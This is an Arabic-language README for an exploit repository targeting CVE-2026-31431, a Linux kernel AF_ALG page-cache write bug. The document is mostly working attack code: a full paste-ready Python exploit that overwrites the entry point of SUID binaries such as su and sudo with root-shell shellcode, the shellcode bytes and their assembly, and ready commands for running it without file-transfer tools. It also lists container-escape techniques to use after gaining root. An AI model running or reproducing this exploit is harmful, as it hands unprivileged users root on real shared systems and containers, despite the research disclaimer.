
# CVE-2026-31431 فشل النسخ — استغلال تصعيد الامتيازات المحلي الشامل. إزاحة ELF ديناميكية + استبدال كامل للملف الثنائي، متوافق مع Python 2/3 مع خيار احتياطي لـ ctypes splice
كتابة عشوائية 4 بايت في صفحة الكاش الخاصة بنواة لينكس → تصعيد الصلاحيات المحلي
طرق استغلال متعددة: الكتابة فوق نقطة دخول ELF الديناميكية، استبدال ثنائي كامل، متوافق مع Python 3.x مع بديل ctypes لـ splice.
CVE-2026-31431 هي ثغرة في نظام AF_ALG الفرعي للتشفير في نواة لينكس. من خلال إساءة استخدام splice() + فك التشفير الموضعي authencesn، يمكن لمستخدم غير مميز كتابة 4 بايت في إزاحة عشوائية في صفحة الكاش الخاصة بالنواة — نفس الكاش المستخدم لجميع الذاكرة المدعومة بالملفات.
هذا يعني:
توفر هذه المستودعات ثلاث أدوات تستخدم نفس بدائية نسخ الفشل AF_ALG:
| نقطة الدخول الديناميكية | استبدال ثنائي كامل | فحص الثغرة | |
|---|---|---|---|
| الملف | exploit.py | poc_compatible.py | check_cve.sh |
| الاستراتيجية | يكتب فوق نقطة دخول ELF بـ shellcode | يستبدل الثنائي بالكامل من الإزاحة 0 | يختبر ما إذا كان الهدف عرضة للثغرة |
| الهدف | أي ثنائي SUID x86_64 | أي ثنائي (SUID أو لا) | غير قابل للتطبيق |
| Python | 3.x (جميع الإصدارات) | 2 / 3 | Bash |
| الحمولة | 36 بايت shellcode | ELF كامل مضغوط بـ zlib | غير قابل للتطبيق |
| المؤلف | هذا العمل | h4ppy7ree | h4ppy7ree |
نقطة الدخول الديناميكية — يحلل رأس ELF في وقت التشغيل لحساب إزاحة ملف نقطة الدخول (p_offset + (e_entry - p_vaddr))، ثم يكتب كعب shellcode صغير. لا إزاحات ثابتة — سكربت واحد يعمل على أي ثنائي SUID x86_64 بغض النظر عن التوزيعة أو الإصدار.
استبدال ثنائي كامل — يكتب فوق الهدف من الإزاحة 0 بحمولة ELF كاملة مبنية مسبقًا (مضغوطة بـ zlib ومدمجة في السكربت). يمكن استهداف ثنائيات غير SUID تُنفَّذ بواسطة عمليات مميزة (مهام cron، خدمات systemd، kube-proxy). يعمل مع Python 2.
فحص الثغرة — يختبر ما إذا كان النظام الهدف يحتوي على AF_ALG و authencesn و algif_aead قبل تشغيل الاستغلال.
exploit.py؛ Python 2 مدعوم عبر poc_compatible.py)/usr/bin/su، /usr/bin/sudo، إلخ.)# إنشاء حاوية اختبار بمستخدم غير مميز
docker run -ti --rm ubuntu:22.04 bash -c '
sed -i "s|archive.ubuntu.com|mirrors.aliyun.com|g;s|security.ubuntu.com|mirrors.aliyun.com|g" /etc/apt/sources.list
apt-get update -qq && apt-get install -y -qq python3 gcc
cat > /tmp/verify.c << EOF
#include <unistd.h>
#include <stdio.h>
int main() {
printf("uid=%d euid=%d\\n", getuid(), geteuid());
printf("Not rooted - exploit entry point to get shell\\n");
return 0;
}
EOF
gcc -o /usr/local/bin/verify /tmp/verify.c
chmod 4755 /usr/local/bin/verify
useradd -m testuser
su - testuser
'
ثم داخل الحاوية كمستخدم testuser:
# قبل: setuid(0) يفشل لأن uid الحقيقي ليس 0
/usr/local/bin/verify
# uid=1000 euid=0
# (يخرج بشكل طبيعي، بدون root)
# تشغيل الاستغلال
python3 exploit.py /usr/local/bin/verify
# بعد: نقطة الدخول مستبدلة، shellcode يحصل على root
# uid=0(root) gid=1000(testuser)
في السيناريوهات الحقيقية غالبًا ما يكون لديك فقط شل خام — لا scp، لا curl، لا wget. تستخدم هذه الطريقة cat heredoc لكتابة الاستغلال مباشرة في الطرفية:
# الخيار 1: تشغيل سكربت الشل
sh exploit-one-liner.sh /usr/local/bin/verify
# الخيار 2: لصق مباشرة في الطرفية (انسخ الكتلة بأكملها)
cat > /tmp/exploit.py << 'EXPY'
from __future__ import print_function
import os,socket,struct,sys,binascii,ctypes,ctypes.util
if not hasattr(os,'splice'):
_l=ctypes.CDLL(ctypes.util.find_library('c'),use_errno=True)
def _s(src,dst,count,offset_src=None,offset_dst=None,flags=0):
ctypes.set_errno(0);pi=ctypes.byref(ctypes.c_longlong(offset_src)) if offset_src is not None else None;po=ctypes.byref(ctypes.c_longlong(offset_dst)) if offset_dst is not None else None;r=_l.splice(ctypes.c_int(src),pi,ctypes.c_int(dst),po,ctypes.c_size_t(count),ctypes.c_uint(flags))
if r==-1:raise OSError(ctypes.get_errno(),'splice')
return r
os.splice=_s
def d(x):
if isinstance(x,str):x=x.encode('ascii')
return binascii.unhexlify(x)
def w(t,o,p):
s=socket.socket(38,5,0);s.bind(("aead","authencesn(hmac(sha256),cbc(aes))"))
s.setsockopt(279,1,d('0800010000000010'+'0'*64));s.setsockopt(279,5,None,4)
u,_=s.accept();z=d('00')
u.sendmsg([b"A"*4+p],[(279,3,z*4),(279,2,b'\x10'+z*19),(279,4,b'\x08'+z*3)],32768)
r,ww=os.pipe();fd=os.open(t,0);os.splice(fd,ww,o+4,offset_src=0);os.splice(r,u.fileno(),o+4)
try:u.recv(8+o)
except:0
[os.close(x) for x in [fd,r,ww]];u.close();s.close()
with open(sys.argv[1],'rb') as f: h=f.read(64)
e=struct.unpack_from('<Q',h,24)[0]
p=struct.unpack_from('<Q',h,32)[0]
n=struct.unpack_from('<H',h,56)[0]
sz=struct.unpack_from('<H',h,54)[0]
off=0
with open(sys.argv[1],'rb') as f:
for i in range(n):
f.seek(p+i*sz);ph=f.read(sz)
if struct.unpack_from('<I',ph,0)[0]!=1: continue
pv,po,pf=struct.unpack_from('<QQQ',ph,16)[:3];pv2=struct.unpack_from('<Q',ph,8)[0]
if pv<=e<pv+pf: off=pv2+(e-pv);break
print("entry offset: 0x%x" % off)
sc=b'\x48\x31\xff\x31\xc0\xb0\x69\x0f\x05'
sc+=b'\x48\x31\xd2\x52'
sc+=b'\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00'
sc+=b'\x53\x48\x89\xe7\x48\x31\xf6\x31\xc0\xb0\x3b\x0f\x05'
print("shellcode %d bytes" % len(sc))
sc+=b'\x00'*(4-len(sc)%4)
for i in range(len(sc)//4):
w(sys.argv[1],off+i*4,sc[i*4:i*4+4])
print(" wrote 0x%x: %s" % (off+i*4,sc[i*4:i*4+4].hex()))
with open(sys.argv[1],'rb') as f:
f.seek(off);vd=f.read(32)
print("verify: %s" % vd[:len(sc)].hex())
os.system(sys.argv[1])
EXPY
python3 /tmp/exploit.py /usr/local/bin/verify
لماذا هذا مهم: غالبًا ما تفتقر بيئات الحاويات إلى أدوات نقل الملفات (
scp،curl،wget). تتطلب طريقة heredoc فقطcatوpython3— متوفرة في كل مكان.
يمكنك استبدال /usr/local/bin/verify بأي ثنائي SUID-root:
python3 exploit.py /usr/bin/su
python3 exploit.py /usr/bin/sudo
python3 exploit.py /usr/bin/passwd
python3 exploit.py /usr/bin/chsh
⚠️ تحذير: استهداف ثنائيات SUID النظامية (مثل
/usr/bin/su) يؤثر على جميع المستخدمين على النظام. يصبح الثنائي غير قابل للاستخدام حتى يتم مسح صفحة الكاش. على الجهاز المضيف، أي مستخدم يشغّلsuسيحصل على شل root.على نظام مشترك/إنتاجي، هذا ملحوظ فورًا —
suسيتعطل أو يطلق شلات غير متوقعة للجميع. استخدمverify.cللاختبار الآمن.
يعدّل الاستغلال فقط صفحة الكاش (الذاكرة)، وليس القرص. خيارات الاسترداد:
# على المضيف (بعد اختبار الحاوية):
echo 3 | sudo tee /proc/sys/vm/drop_caches
# التحقق من الاسترداد:
xxd -l 8 /usr/bin/su
# يجب أن يُظهر: 7f45 4c46 (.ELF)
ملاحظة: داخل حاوية افتراضية (غير مميزة)، يفشل
echo 3 > /proc/sys/vm/drop_cachesمعRead-only file system— يتطلب هذا وصولًا إلى المضيف أو تدمير الحاوية.
خوارزمية authencesn AEAD في النواة بها خطأ في مسار فك التشفير الموضعي:
AF_ALG مع authencesn(hmac(sha256), cbc(aes))splice() لتغذية بيانات الملف في مقبس التشفير — وهذا يربط صفحات الكاش مباشرة في قائمة التشتت الخاصة بالنواةauthencesn 4 بايت من seqno_lo بعد علامة المصادقةالنتيجة: كتابة عشوائية 4 بايت لأي ملف في صفحة الكاش.
┌─────────────────────────────────────────────────────┐
│ ثنائي ELF (/usr/bin/su) │
│ │
│ 0x0000: ┌──────────┐ │
│ │ رأس ELF │ e_entry = 0x4013f0 │
│ │ │ ← يُحلل ديناميكيًا │
│ └──────────┘ │
│ ... │
│ 0x3f20: ┌──────────┐ ← إزاحة ملف محسوبة │
│ │ كود أصلي │ │
│ │ │ ─── كتابات نسخ الفشل ───→ │
│ │ SHELLCODE │ setuid(0) + execve("/bin/sh")│
│ └──────────┘ │
│ ... │
└─────────────────────────────────────────────────────┘
عندما تحمّل النواة الثنائي SUID، تضبط euid=0، ثم تقفز إلى نقطة الدخول.
نقطة الدخول الآن هي shellcode الخاص بنا → setuid(0) ينجح → شل root.
xor rdi, rdi ; uid = 0
xor eax, eax
mov al, 0x69 ; __NR_setuid
syscall ; setuid(0)
xor rdx, rdx
push rdx ; فاصل فارغ
movabs rbx, "/bin/sh\0"
push rbx
mov rdi, rsp ; اسم الملف
xor rsi, rsi ; argv = NULL
xor eax, eax
mov al, 0x3b ; __NR_execve
syscall ; execve("/bin/sh", NULL, NULL)
36 بايت، 9 كتابات نسخ فشل (4 بايت لكل منها).
حاويات Docker الافتراضية ليست محمية من هذا:
| الحماية | الحالة |
|---|---|
| Seccomp | ✅ AF_ALG مسموح به افتراضيًا |
| مساحات أسماء المستخدمين | ❌ غير مستخدمة في Docker الافتراضي |
| AppArmor/SELinux | ❌ لا يقيد AF_ALG |
| إسقاط القدرات | ❌ لا حاجة لقدرات خاصة |
الشيء الوحيد الذي يمنع الهروب من الحاوية هو عزل صفحة الكاش لكل نقطة تثبيت في overlayfs. ولكن بمجرد حصولك على root داخل الحاوية، تنطبق تقنيات الهروب القياسية (cgroup release_agent، docker.sock، رموز K8s serviceaccount، بيانات السحابة الوصفية).
كل نواة لينكس منذ تحويل algif_aead الموضعي (المدمج ~2017)، بما في ذلك:
.
├── exploit.py # الكتابة فوق نقطة دخول ELF الديناميكية (Python 3.x)
├── exploit-one-liner.sh # إصدار مناسب للصق (بدون نقل ملفات)
├── poc_compatible.py # استبدال ثنائي ELF كامل من الإزاحة 0 (Python 2/3، بواسطة h4ppy7ree)
├── poc_ctypes.py # ctypes splice لـ Python 3.0-3.9 (بواسطة h4ppy7ree)
├── check_cve.sh # فاحص الثغرة (بواسطة h4ppy7ree)
├── verify/
│ └── verify.c # برنامج تحقق SUID للاختبار
└── README.md # هذا الملف
AF_ALG (socket(AF_ALG, ...) → errno)af_algCONFIG_CRYPTO_USER_API_AEAD=nsocket(AF_ALG=38, SOCK_SEQPACKET=5, 0)يُقدَّم هذا الاستغلال لأغراض البحث الأمني المصرح به والتعليم فقط. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. لا يتحمل المؤلفون أي مسؤولية وليسوا مسؤولين عن أي إساءة استخدام أو ضرر ناتج عن هذا البرنامج.
MIT
| الطريقة | المكان | الأمر |
|---|
| إسقاط صفحة الكاش | المضيف (root) | echo 3 > /proc/sys/vm/drop_caches |
| إعادة التشغيل | في أي مكان | reboot — صفحة الكاش متطايرة |
| تدمير الحاوية | في أي مكان | docker rm — يتم تحرير صفحة الكاش مع الحاوية |
| المتجه | يعمل؟ | التفاصيل |
|---|
| LPE (مستخدم محلي → root) | ✅ نعم | الكتابة فوق نقطة دخول ثنائي SUID |
| الهروب من الحاوية (افتراضي) | ❌ لا | عزل صفحة الكاش لكل نقطة تثبيت في overlayfs |
| الهروب من الحاوية (كتابة من المضيف) | ✅ نعم | الكتابة عبر /proc/PID/root/ من المضيف |
| عبر الحاويات (كتابة من المضيف) | ✅ نعم | نفس inode → صفحة كاش مشتركة للطبقة السفلية |